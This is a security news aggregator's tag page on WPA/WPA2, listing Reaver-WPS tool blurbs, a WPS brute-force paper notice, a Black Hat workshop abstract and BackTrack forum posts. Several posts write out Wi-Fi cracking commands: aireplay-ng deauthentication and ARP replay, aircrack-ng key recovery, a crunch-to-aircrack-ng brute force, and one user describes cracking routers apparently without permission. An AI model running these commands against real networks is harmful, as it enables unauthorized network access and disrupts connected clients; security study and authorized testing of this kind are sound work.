jetlib.sec » Tags » wpa-wpa2

Feeds

133445 items (0 unread) in 27 feeds

• 1337day (was: Inj3ct0r, 1337db)
• OSVDB Vulnerabilities
• Exploit-DB
• SecurityFocus Vulnerabilities
• Bugtraq
• Full Disclosure
• XSSed
• Packet Storm Security Headlines
• Packet Storm Security Advisories
• Packet Storm Security Exploits
• Packet Storm Security Recent Files
• Packet Storm Security Tools
• Packet Storm Security Misc. Files
• Sophos security news
• Sophos product advisories
• Penetration Testing
• SecuriTeam
• BackTrack Linux Forums
• Threatpost
• SecDocs
• carnal0wnage.attackresearch.com
• Carnal0wnage
• Kernel Fun
• Darknet
• The Exploitant
• Hack a Day
• Wirevolution

16 items tagged "wpa wpa2"

Related tags: wps [+], reaver [+], passphrase [+], brute force attack [+], airodump [+], security [+], password [+], nbsp nbsp nbsp nbsp nbsp [+], nbsp [+], forcing [+], channel [+], brute [+], attackers [+], attacker [+], Wireless [+], Newbie [+], Area [+], workshop [+], wlan [+], wifi [+], wep wpa [+], video [+], stefan viehbc [+], someone [+], security protocol [+], proper noun [+], password lists [+], mr. oizo [+], matching [+], martin [+], life challenges [+], hacks [+], google [+], crunch crunch [+], crunch [+], chink in the armor [+], bssid [+], blip tv [+], attack [+], abu dhabi [+], Idiots [+], Howto [+], Corner [+], BackTrack [+], wpa [+]

• February 06, 2012
• 14:40

  [Slides] WORKSHOP: Advanced Wi-Fi Security Penetration Testing

   » ‎ SecDocs
  Authors: Vivek Ramachandran
  Tags: WiFi
  Event: Black Hat Abu Dhabi 2011
  Abstract: This workshop will provide a highly technical and in-depth treatment of Wi-Fi security. The emphasis will be to provide the participants with a deep understanding of the principles behind various attacks and not just a quick how-to guide on publicly available tools. We will start our journey with the very basics by dissecting WLAN packet headers with Wireshark, then graduate to the next level by cracking WEP, WPA/WPA2 and then move on to real life challenges like orchestrating Man-in-the-Middle attacks and taking on the live Wi-Fi CTF!

  Tags:  wpa workshop security abu-dhabi wpa-wpa2 wep-wpa life-challenges  

• December 30, 2011
• 7:37

  Reaver-WPS 1.1

   » ‎ Packet Storm Security Recent Files
  Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases. Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.

  Tags:  reaver wps wpa wpa-wpa2 brute-force-attack passphrase  

• 7:37

  Reaver-WPS 1.1

   » ‎ Packet Storm Security Tools
  Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases. Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.

  Tags:  reaver wps wpa wpa-wpa2 brute-force-attack passphrase  

• 7:37

  Reaver-WPS 1.1

   » ‎ Packet Storm Security Misc. Files
  Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases. Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.

  Tags:  reaver wps wpa wpa-wpa2 brute-force-attack passphrase  

• December 29, 2011
• 12:01

  A chink in the armor of WPA/WPA2 WiFi security

   » ‎ Hack a Day
  Looks like your WiFi might not be quite as secure as you thought it was. A paper recently published by [Stefan Viehböck] details a security flaw in the supposedly robust WPA/WPA2 WiFi security protocol. It’s not actually that protocol which is the culprit, but an in-built feature called Wi-Fi Protected Setup. This is an additional [...]

  Tags:  security wpa wifi stefan-viehbc wpa-wpa2 chink-in-the-armor security-protocol hacks  

• 7:09

  Brute Forcing Wi-Fi Protected Setup

   » ‎ Packet Storm Security Recent Files
  This paper discusses a vulnerability in WPS that allows attackers to recover WPA/WPA2 keys in a matter of hours.

  Tags:  forcing wpa brute wpa-wpa2 wps attackers  

• 7:09

  Brute Forcing Wi-Fi Protected Setup

   » ‎ Packet Storm Security Misc. Files
  This paper discusses a vulnerability in WPS that allows attackers to recover WPA/WPA2 keys in a matter of hours.

  Tags:  forcing wpa brute wpa-wpa2 wps attackers  

• 7:08

  Reaver-WPS 1.0

   » ‎ Packet Storm Security Recent Files
  Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases. Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.

  Tags:  reaver wps wpa wpa-wpa2 brute-force-attack passphrase  

• 7:08

  Reaver-WPS 1.0

   » ‎ Packet Storm Security Tools
  Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases. Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.

  Tags:  reaver wps wpa wpa-wpa2 brute-force-attack passphrase  

• 7:08

  Reaver-WPS 1.0

   » ‎ Packet Storm Security Misc. Files
  Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases. Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. On average Reaver will recover the target AP's plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.

  Tags:  reaver wps wpa wpa-wpa2 brute-force-attack passphrase  

• March 19, 2010
• 4:22

  [Video] Cracking WiFi - WEP with a client (aircrack-ng)

   » ‎ remote-exploit & backtrack
  Links
  Watch video on-line: http://g0tmi1k.blip.tv/file/3129452
  Download video: http://www.mediafire.com/?vtynwngzwvy
  Commands: http://pastebin.com/TAAUw36Y
  
  
  What is this?
  Yet another video on "How to crack WEP".
  
  
  How does this work?
  ARP beacon is needed (depending on the attack method), so this can be re‐injected back into the network. To get this packets the attacker needs to disconnect a connected client currently on the network (if the attacker keeps on repeating this part, it will be a DoS to the client).
  
  Once the key beacon has been captured and enough data injected/collected, it is now an offline attack either by brute force or a dictionary attack. Then its just a question of waiting then the attacker will have the key (brute forcing WEP can be less than 60 seconds!)
  
  From here, the attacker can use that key to decrypt the captured data from before, and now is able to ‘read’ it as well as join the network.
  
  
  What do I need?
  > Aircrack-ng suite
  > WiFi card that supports monitor mode & injection
  
  
  Software
  Name: Aircrack-ng
  Version: 1.0-rc3
  Home Page: http://www.aircrack-ng.org/doku.php
  Download Link: http://download.aircrack-ng.org/airc...1.0-rc3.tar.gz
  
  Commands:
  Code: airmon-ng stop mon0
airmon-ng start wlan0
airodump-ng --channel 8 --write output --bssid 00:19:5B:E7:52:70 mon0

aireplay-ng --arpreplay -e g0tmi1k -b 00:19:5B:E7:52:70 -h 00:12:17:94:90:0D mon0

aireplay-ng --deauth 10 -a 00:19:5B:E7:52:70 -c 00:12:17:94:90:0D mon0

aircrack-ng output*.cap

ifconfig wlan0 down
iwconfig wlan0 essid g0tmi1k
iwconfig wlan0 key 59EF19C76A
ifconfig wlan0 up
dhclient wlan0 Notes:
  If you want WPA/WPA2 PSK (with a hidden SSID) - See: http://g0tmi1k.blogspot.com/2009/07/...k-wpawpa2.html
  
  Song: Mr. Oizo - Flat Beat
  Video length: 03:50
  Capture length: 07:23
  
  Blog Post: http://g0tmi1k.blogspot.com/2010/03/...th-client.html
  Forum Post: http://forums.remote-exploit.org/
  
  
  
  ~g0tmi1k

  Tags:  video attacker wlan mr.-oizo wpa-wpa2 blip-tv airodump BackTrack Howto  

• February 27, 2010
• 22:57

  WPA/WPA2 attack

   » ‎ remote-exploit & backtrack
  When the attacker not associated with a WPA or WPA2 station and finds a client that is on one of these types of stations. The attacker can still find useful information in the packets such as Google search terms among other things.
  
  What is this kind of attack called?

  Tags:  attack attacker wpa wpa-wpa2 google Newbie Area  

• January 31, 2010
• 10:38

  need help

   » ‎ remote-exploit & backtrack
  hi all .. i was trying to crack security for some routers .. i tried to crack web, and i done it ,, also wpa/wpa2 and i cracked it (because the password was in the dictionary as all know)
  
  but the question is ,, that there is a router has web security,and its channel is 123 ,, and when i start the monitor mode in on its channel ,, and start airodump again i see that its channel channged to another
  
  first
  Code: CH  5 ][ Elapsed: 4 s ][ 2010-01-31 19:33

 BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:C0:CA:1D:DA:3E  -1        0        7    1 123  -1  WEP  WEP        <length:  0>
 00:1F:9F:D3:1F:EB  -47      10        0    0  3  54  WPA2 CCMP  PSK  test

 BSSID              STATION            PWR  Rate    Lost  Packets  Probes

 00:C0:CA:1D:DA:3E  00:60:B3:35:FB:E1  -86    0 - 1      0        9
 00:C0:CA:1D:DA:3E  00:19:E0:79:EB:D0  -84    0 - 1    13      24 after typing airodump again .. i see that its channel changed to another
  
  second
  Code: CH  2 ][ Elapsed: 4 s ][ 2010-01-31 19:39

 BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:C0:CA:1D:DA:3E  -1        0        7    3 118  -1  WEP  WEP        <length:  0>
 00:1F:9F:D3:1F:EB  -51        8        0    0  3  54  WPA2 CCMP  PSK  test

 BSSID              STATION            PWR  Rate    Lost  Packets  Probes

 00:C0:CA:1D:DA:3E  00:60:B3:35:FB:E1  -86    0 - 1      0      10
 00:C0:CA:1D:DA:3E  00:19:E0:79:EB:D0  -81    0 - 1      5        4 it had changed to 118 :S .. i cant crack it ..
  if some one can give help or solution .. i thank him lot ...

  Tags:  nbsp channel wpa wpa-wpa2 nbsp-nbsp-nbsp-nbsp-nbsp airodump Newbie Area  

• 10:38

  need help

   » ‎ remote-exploit & backtrack
  hi all .. i was trying to crack security for some routers .. i tried to crack web, and i done it ,, also wpa/wpa2 and i cracked it (because the password was in the dictionary as all know)
  
  but the question is ,, that there is a router has web security,and its channel is 123 ,, and when i start the monitor mode in on its channel ,, and start airodump again i see that its channel channged to another
  
  first
  Code: CH  5 ][ Elapsed: 4 s ][ 2010-01-31 19:33

 BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:C0:CA:1D:DA:3E  -1        0        7    1 123  -1  WEP  WEP        <length:  0>
 00:1F:9F:D3:1F:EB  -47      10        0    0  3  54  WPA2 CCMP  PSK  test

 BSSID              STATION            PWR  Rate    Lost  Packets  Probes

 00:C0:CA:1D:DA:3E  00:60:B3:35:FB:E1  -86    0 - 1      0        9
 00:C0:CA:1D:DA:3E  00:19:E0:79:EB:D0  -84    0 - 1    13      24 after typing airodump again .. i see that its channel changed to another
  
  second
  Code: CH  2 ][ Elapsed: 4 s ][ 2010-01-31 19:39

 BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

 00:C0:CA:1D:DA:3E  -1        0        7    3 118  -1  WEP  WEP        <length:  0>
 00:1F:9F:D3:1F:EB  -51        8        0    0  3  54  WPA2 CCMP  PSK  test

 BSSID              STATION            PWR  Rate    Lost  Packets  Probes

 00:C0:CA:1D:DA:3E  00:60:B3:35:FB:E1  -86    0 - 1      0      10
 00:C0:CA:1D:DA:3E  00:19:E0:79:EB:D0  -81    0 - 1      5        4 it had changed to 118 :S .. i cant crack it ..
  if some one can give help or solution .. i thank him lot ...

  Tags:  nbsp channel wpa wpa-wpa2 nbsp-nbsp-nbsp-nbsp-nbsp airodump Idiots Corner  

• January 26, 2010
• 17:18

  WPA(2) Secure enough?

   » ‎ remote-exploit & backtrack
  For the past two weeks I have been messing with cracking wpa, wpa2 networks. I have scoured the forums here as well as googled enough that it now only suggests wpa related topics lol.
  
  But from what I've concluded, it seems that wpa2 is quiet possibly as secure as we need as long as you have a secure password.
  
  My rationale is that because a person can literally make anything their password that most wordlists would not be able to crack it. If someone makes there password with just their last name and say, their birthday. (i.e. Martin04221966) most password lists would not be able to crack that.
  
  So, I guess my overall question is for someone to correct me if I'm wrong on saying that if a password includes a proper noun or multiple words plus numbers, the wpa attack would not be able to crack the password.

  Tags:  password someone wpa martin wpa-wpa2 proper-noun password-lists Wireless  

• 11:12

  Matching password WPA-WPA2 without a dictionary

   » ‎ remote-exploit & backtrack
  Try my suggestion (crunch + aircrack-ng without a dictionary)
  / pentest / passwords / crunch /. / crunch 9 9 | aircrack-ng -b (BSSID) -w - / root/.gerix-wifi-cracker/sniff_dump- *. cap
  I got 100%

  Tags:  matching password crunch crunch-crunch wpa-wpa2 bssid Wireless